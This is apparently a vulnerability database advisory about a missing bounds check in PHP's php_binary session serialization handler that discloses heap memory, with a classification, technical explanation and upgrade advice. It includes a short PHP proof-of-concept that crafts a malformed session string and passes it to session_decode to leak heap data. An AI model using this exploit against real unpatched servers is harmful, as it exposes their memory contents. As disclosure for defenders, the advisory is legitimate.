The php_binary serialization handler in the PHP session extension is missing a boundary check and may lead to an unauthorized information disclosure. The condition is triggered during the extraction of an overly long php_binary session data format variable name, which will disclose up to 126 bytes of heap data into PHP variables, resulting in a loss of confidentiality.
Classification
Location:
Remote / Network Access
Attack Type:
Information Disclosure
Impact:
Loss of Confidentiality
Exploit:
Exploit Public
Disclosure:
OSVDB Verified
OSVDB:
Concern
Technical
The php_binary session data format contains one entry per serialized variable. Every entry contains: - one byte size field containing the length of the variable name - the variable name - serialized data
------------ Exploit Code ------------ <?php die("REMOVE THIS LINE"); ini_set("session.serialize_handler", "php_binary"); session_start(); $x = chr(36).str_repeat("A", 36)."N;".chr(127); $data = $x; session_decode($data); $keys = array_keys($_SESSION); $heapdump = $keys[1]; // code for reading from $heapdump goes here ?>
Solution
Upgrade to PHP versions 4.4.5 or higher and PHP 5.2.1 or higher, as they have been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.
This product uses the Daylife API but is not endorsed or certified by Daylife.
This section lists the latest news and blogs found via the daylife API (and for older items, the technorati API), which mention or otherwise discuss this vulnerability.